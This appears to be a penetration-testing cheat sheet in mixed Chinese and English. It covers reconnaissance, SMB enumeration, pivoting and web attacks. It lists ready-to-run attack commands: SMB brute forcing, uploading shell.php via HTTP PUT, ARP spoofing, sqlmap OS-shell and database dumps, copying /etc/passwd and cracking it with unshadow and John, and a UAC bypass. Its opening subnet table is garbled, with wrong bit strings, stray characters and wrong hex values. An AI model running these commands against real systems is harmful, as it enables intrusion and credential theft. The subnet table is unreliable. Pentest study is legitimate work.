Pentesting Methodology
1.0.0
| 斜線符號 | 淨面膜 | 十六進位 | 二進製表示 | 主機數 |
|---|---|---|---|---|
| /0 | 0.0.0.0 | 0x00000000 | 00000000 00000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000州 | 4294967296 |
| /1 | 128.0.0.0 | 0x80000000 | 10000000 00000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000州 | 2147483648 |
| /2 | 192.0.0.0 | 0xc0000000 | 11000000 00000000 000000000000000000000000000000000000000000000000000000000000000000000000000000州 | 1073741824 |
| /3 | 224.0.0.0 | 0xe0000000 | 11100000 00000000 00000000 00000000 | 536870912 |
| /4 | 240.0.0.0 | 0xf0000000 | 11110000 00000000 00000000 00000000 | 268435456 |
| /5 | 248.0.0.0 | 0xf8000000 | 11111000 00000000 00000000 00000000 | 134217728 |
| /6 | 252.0.0.0 | 0xfc000000 | 11111100 00000000 00000000 00000000 | 67108864 |
| /7 | 254.0.0.0 | 0xfe000000 | 11111110 00000000 00000000 00000000 | 33554432 |
| /8 | 255.0.0.0 | 0xff000000 | 11111111 00000000 00000000 00000000 | 16777216 |
| /9 | 255.128.0.0 | 0xff800000 | 11111111 10000000 00000000 00000000 | 8388608 |
| /10 | 255.192.0.0 | 0xffc00000 | 111111111000000 00000000 00000000 | 4194304 |
| /11 | 255.224.0.0 | 0xffe00000 | 111111111100000 00000000 00000000 | 2097152 |
| /12 | 255.240.0.0 | 0xfff00000 | 111111111110000 00000000 00000000 | 1048576 |
| /13 | 255.248.0.0 | 0xfff80000 | 11111111 11111000 00000000 00000000 | 524288 |
| /14 | 255.252.0.0 | 0xfffc0000 | 111111111111100 00000000 00000000 | 262144 |
| /15 | 255.254.0.0 | 0xfffe0000 | 11111111111110 00000000 00000000 | 131072 |
| /16 | 255.255.0.0 | 0xffff0000 | 11111111111111 00000000 00000000 | 65536 |
| /17 | 255.255.128.0 | 0xffff8000 | 111111111111111111111100000 00000000 | 32768 |
| /18 | 255.255.192.0 | 0xffffc000 | 1111111111111111000000 00000000 | 16384 |
| /19 | 255.255.224.0 | 0xffffe000 | 1111111111111111100000 00000000 | 8192 |
| /20 | 255.255.240.0 | 0xfffff000 | 1111111111111111110000 00000000 | 4096 |
| /21 | 255.255.248.0 | 0xfffff800 | 111111111111111111000 00000000 | 2048 |
| /22 | 255.255.252.0 | 0xfffffc00 | 1111111111111111111100 00000000 | 1024 |
| /23 | 255.255.254.0 | 0xfffffe00 | 1111111111111111111110 00000000 | 512 |
| /24 | 255.255.255.0 | 0xffffff00 | 111111111111111111111111111111111111111111111111111111111111 | 256 |
| /25 | 255.255.255.128 | 0xffffff80 | 11111111111111111111111111111111111111111111 | 128 |
| /26 | 255.255.255.192 | 0xffffffc0 | 11111111111111111111111111111000000 | 64 |
| /27 | 255.255.255.224 | 0xffffffe0 | 11111111111111111111111111100000 | 32 |
| /28 | 255.255.255.240 | 0xffffff0 | 11111111111111111111111111110000 | 16 |
| /29 | 255.255.255.248 | 0xffffff8 | 11111111111111111111111111000 | 8 |
| /30 | 255.255.255.252 | 0xfffffffc | 111111111111111111111111111100 | 4 |
| /31 | 255.255.255.254 | 0xfffffffe | 1111111111111111111111111111111111 | 2 |
| /32 | 255.255.255.255 | 0xffffffff | 11111111111111111111111111111111111111 | 1 |
確定網絡服務器和技術
Bruteforce子域
目錄枚舉
查找用戶，洩漏的電子郵件，ID等
始終嘗試/robots..txt,/sitemap.xml,/crossdomain.xml
Google Dorking
site:您可以使用此命令僅在給定的主機名中包含結果。
intitle:此命令根據標題頁過濾。
inurl:類似於Intitle，但在資源的URL上起作用。
filetype:通過使用資源的文件擴展名進行過濾。
AND, OR, &, |使用邏輯操作員結合表達式。
Wayback URL
ip route - prints the routing table for the host you are on
ip route add ROUTETO via ROUTEFROM - add a route to a new network if on a switched network and you need to pivot
使用在機器上找到的材料。例如，主機文件或ARP緩存
使用預安裝的工具
使用靜態編譯的工具
使用腳本技術
通過代理使用本地工具
arp -a (can be used to check the arp cache of the machine)
nano /etc/hosts (on linux, static mappings may be found)
/etc/resolv.conf (on Linux, may identify any local DNS servers, which may be misconfigured to allow a DNS zone transfer attack)
nmcli dev show (reading resolve.conf)
C:WindowsSystem32driversetchosts (On windows)
ipconfig /all (Check the DNS servers for an interface)
- /etc/proxychains.conf
[proxylist] & [proxy_dns]
sock4[5] 127.0.0.1 <port>
proxychains telnet 172.16.0.100 23
ip route add 192.168.72.23 via 10.10.10.10(VPN Gateway)ip route add 192.168.72.0/24 via 10.10.10.10(VPN Gateway) fping -a -g 10.10.10.0/24 2>/dev/null
nmap -sn 10.10.10.0/24
nmap -sC -sV -p- <IP>
nmap -sU -sV <IP>
nc -v 10.10.10.10 port
HEAD / HTTP/1.0
openssl s_client -connect 10.10.10.10:443
HEAD / HTTP/1.0
httprint -P0 -h 10.10.10.10 -s /path/to/signaturefile.txt
GET, POST, HEAD, PUT, DELETE, OPTIONS
nc 10.10.10.10 80
OPTIONS / HTPP/1.0
wc -m shell.php
x shell.php
PUT /shell.php
Content-type: text/html
Content-length: x
Directory and File Scanning
nmblookup -A <target IP> -TCP/IP客戶端的NetBios用於查找NetBios名稱
nbtstat -A <IP> - （Windows）使用NBT顯示協議和當前的TCP/IP連接
net view <target ip> - 用於管理Samba和遠程CIFS服務器的工具
exlpoit/windows/localbypassuac （Metasploit模塊）Windows UAC保護旁路
<20> record tells us that the file sharing service is up and running
enum4linux -a 10.10.10.10
enum4linux -S(enumerate shares) X.X.X.X
enum4linux -U(enumerate users) X.X.X.X
enum4linux -P(check password policy) X.X.X.X
nmap -script=smb-enum-shares
nmap -script=smb-enum-users
nmap -script=smb-brute
nmap --script smb-check-vulns.nse --script-args=unsafe-1
exlpoit/windows/localbypassuac
-L - allows you to look at what services are avaliable on a target. prepend //<IP ADDRESS>
-N - forces the tool to not ask for a password
smbclient [-U username] [-P password or -N for no password] -L \\X.X.X.X
smbclient [-U username] [-P password or -N for no password] \\X.X.X.X\share
smbclient -L //10.10.10.10 -N (list shares)
smbclient //10.10.10.10/share -N (mount share)
smbclient //X.X.X.X/IPC$ -N
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i <interface> -t <target> -r <host>
sqlmap -u <URL> -p <injection parameter> [options]
sqlmap -u http://10.10.10.10 -p parameter
sqlmap -u http://10.10.10.10 --data POSTstring -p parameter
sqlmap -u http://10.10.10.10 --os-shell
sqlmap -u http://10.10.10.10 --dump
--cookie (specifiying cookie)
update <table> set <parameter>="yes" where <Parameter>="<data";
這準備與開膛手約翰一起使用的文件
unshadow passwd shadow > unshadow
john -wordlist /path/to/wordlist -users=users.txt hashfile
scp <user>@<ip>/etc/passwd .
user()使用數據庫返回當前用戶的名稱
substring()返回給定爭論的子字符串。它需要三個參數：輸入字符串，子字符串的位置及其長度
Use of Metasploit - (portfwd) -h
Port forwarding is accomplished with the -L switch, which creates a link to a Local port.
ssh -L 8000:172.16.0.10:80 [email protected] -fN
-f背景殼，-n告訴SSH，它不需要執行任何命令 - 僅設置連接
Proxies are made using the -D switch, for example: -D 1337
ssh -D 1337 [email protected] -fN
這再次使用-FN開關來背景外殼。端口1337的選擇是完全任意的 - 最重要的是，該端口可在您的ProxyChains（或等效）配置文件中正確設置。設置此代理將使我們能夠將所有流量路由到目標網絡。
